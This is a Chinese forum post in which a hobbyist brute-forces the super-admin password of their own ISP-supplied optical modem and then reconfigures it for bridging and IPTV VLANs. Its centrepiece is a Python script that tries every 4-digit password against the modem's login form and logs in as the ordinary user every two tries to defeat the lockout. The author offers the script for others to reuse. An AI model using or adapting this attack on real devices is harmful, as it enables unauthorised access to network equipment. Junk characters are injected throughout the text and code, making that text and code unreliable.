坐标 029 ,最近拉了条陕西广电的 IPTV ,随线路还有一条 300M 宽带,想着可以做做联通 1000M 线路的冗余备份,顺便能折腾下陕西广电的组播源,毕竟广电的频道数量和码率吊打陕西联通。陕西联通 IPTV 就是个渣渣,频道少码率差不说,还不是单独组播线路,直播点播统统占我带宽。 然而广电小哥拉完线路调测完并不肯告诉我光猫超级密码,这必须不能忍。网上找了一圈发现古早 B1 、B2 版本的方法在 B3 光猫跟前统统不能用,但受到之前方法的启发,发现光猫上报配置之后依然会将 useradmin 的超级密码更改为随机 4 位数字的弱密码,那就很容易穷举出来。所以思路和 B2 版本一致,但 B2 判断登陆成功与否的方式在 B3 版本上已不适用。 通过抓包发现 B3 版本的光猫在登陆成功后会有个 302 重定向,并且尝试 3 次登陆失败后会有一个 180 秒的锁定时间,但在 3 次尝试中只要有一次正常的登陆就可以重置这个计数器。 所以总结一下思路: - 抓包分析登陆动作实现逻辑及 URL
- useradmin 的密码从 0000 开始尝试至 9999 ,通过判断是否有 302 响应确定登陆成功与否
- 为防止 3 次登陆锁定,需要每尝试 2 次之后成功登陆一下 user 普通用户重置计数器
1 w, v) k# ~1 v" X
根据以上思路随便写了段 python ,以下代码: - import requests& W1 R4 S2 f2 o U$ p( Z6 a0 d
- from bs4 import BeautifulSoup
5 w5 L1 y. z$ I/ g7 `% K0 g- H2 V - import re
. u: q2 h& j: Y
2 N5 A9 i5 X7 C2 |8 P; u0 k( X5 B3 I/ M- for i in range(10000):1 W4 L G8 T$ E3 R
- User_Agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"
V2 `0 c2 }6 t* H9 g' M, ?
5 `' z1 W+ u1 i$ u+ z- headers = {"User-Agent": User_Agent}
+ H7 J8 U/ u) i - session = requests.Session(), D) n6 [7 A/ ^. J x. L
0 A4 A" l: m1 d* C- f- response = session.get("http://192.168.1.1")% W: q# T9 A: m
- cookies = session.cookies. b5 e: q; _3 [4 D3 Q3 W
- 9 V6 v" R0 [, k7 @1 F
- login_url = "http://192.168.1.1/boaform/admin/formLogin" r# Y1 `# O' I& j' z0 h, Z5 z
- if (i % 2 == 1 or i == 0):
! q6 F+ q. |$ [, n8 A6 B& ]7 @8 u0 U - # 防止密码错误次数到达上限,*替换成自己光猫的 user 密码
( f/ @! {6 ~8 Q; ~' { - login_data = {"username": "user", "psd": "********", "login_in": "%B5%C7%C2%BC"}
7 N# s# u, C) V2 | - session.post(login_url, login_data, allow_redirects=False)/ z2 r# {: m- Y- t7 P+ h
- logout_url = "http://192.168.1.1/boaform/admin/formLogout"
+ Z: s4 |$ I$ b/ l4 r" f- f3 H. o - session.post(logout_url, allow_redirects=False): }' ^3 ]3 q& h: u+ K9 j l
- # 尝试以 useradmin 及 4 位数字密码登陆
2 C1 o0 L$ ^" C7 w i0 G z4 @& X - login_data = {"username": "useradmin", "psd": "{:04d}".format(i), "login_in": "%B5%C7%C2%BC"}( m% Q- f$ J0 z% w! S6 k
- res = session.post(login_url, login_data, allow_redirects=False) a/ i" X: F7 w, }- m
6 I4 F4 Z7 g1 P- # 检查是否有 302 重定向
. |, j4 y0 l0 G5 r+ G, Z - if res.status_code == 302:! S' B. r, ~) a. [& v; |& c; t+ C
- print("Login succeeded with password:", "{:04d}".format(i))$ m4 \+ _( c% J6 s/ E
- break8 q/ N3 `, W |/ c. s
- else:
* w$ k2 X9 _9 i7 u - print("Login failed for password:", "{:04d}".format(i))
复制代码懒得优化了,能跑就行' ?8 l: T# m6 k4 r& E+ e
$ X9 E2 G1 g8 i& x1 l
然而我这个随机密码居然是 9 开头 4 位数,以至于我一度认为脚本有问题。。。。8 T6 V8 u3 ?8 a2 h+ l) V& d
尝试登陆一下
5 K! ?% s1 y w: p0 C$ ?
这下看起来舒服多了,随手翻翻 WAN 线路配置
' ?( [& {, U+ J- M
% A5 r; E$ I% ], `+ z" I$ R" v
vlan44 宽带,vlan45 iptv ,顺手想改个桥接,正苦于哪找 pppoe 签权信息,发现广电这个大善人居然就在页面上写着:( I; D2 @* r# p4 l8 x9 L
- ]% C6 J6 p" T9 m
那就不客气了,必须桥接走起' s( {7 P K4 ?8 Q! u
2 c0 y& L+ Y2 l7 ~
- Y( i% Z% I6 v# t1 n' J3 o7 I" X
光猫里找了一圈并没找到 vlan mapping 的配置,总不能再拉根线到电视柜啊?. k: m* p/ f5 q# n" d$ y: x( x
那就进后台翻翻看配置藏哪了
, g0 s) d- U/ u; S
# a$ g# g3 S7 A& c% b& H$ Z
还真给翻到了
' C. Q( @) l0 u5 k$ e/ @! L( I+ ] P " v& h j7 p* o- j: T
那不客气了,vlan 号懒得改就随手用它的,反正屋里多这俩也不冲突。% ^& E; ~2 }, l' h
广电盒子划 vlan45 里,接电视一切正常。2 F7 v7 l! Z( _4 G. Y0 C' {( m5 H
300M 宽带聊胜于无,写个冗余留给 wireguard ,ros 里新起个 vrf ,AC 里绑个无线没密码限速 8M 给隔壁小孩谋谋福利。4 A+ W' |2 B2 l* ?0 w6 |
iptv 组播源改天再折腾吧
- s8 ]6 {# O8 n3 \- u4 [& Z& ~5 I/ APS.iptv vlan45 要有 dhcp option60 才能拿到地址。陕西广电 option60 居然是'600831STB',呵呵。。& ?( \0 z! e3 L
8 D/ s4 A- O1 v* C1 i. p% Z
以上,有陕西广电的兄弟可以参考一下。
( s$ Z# ?& l, |# n) y0 v( {6 ]. ~ 0 h' E1 v# H2 [5 r# b9 N
|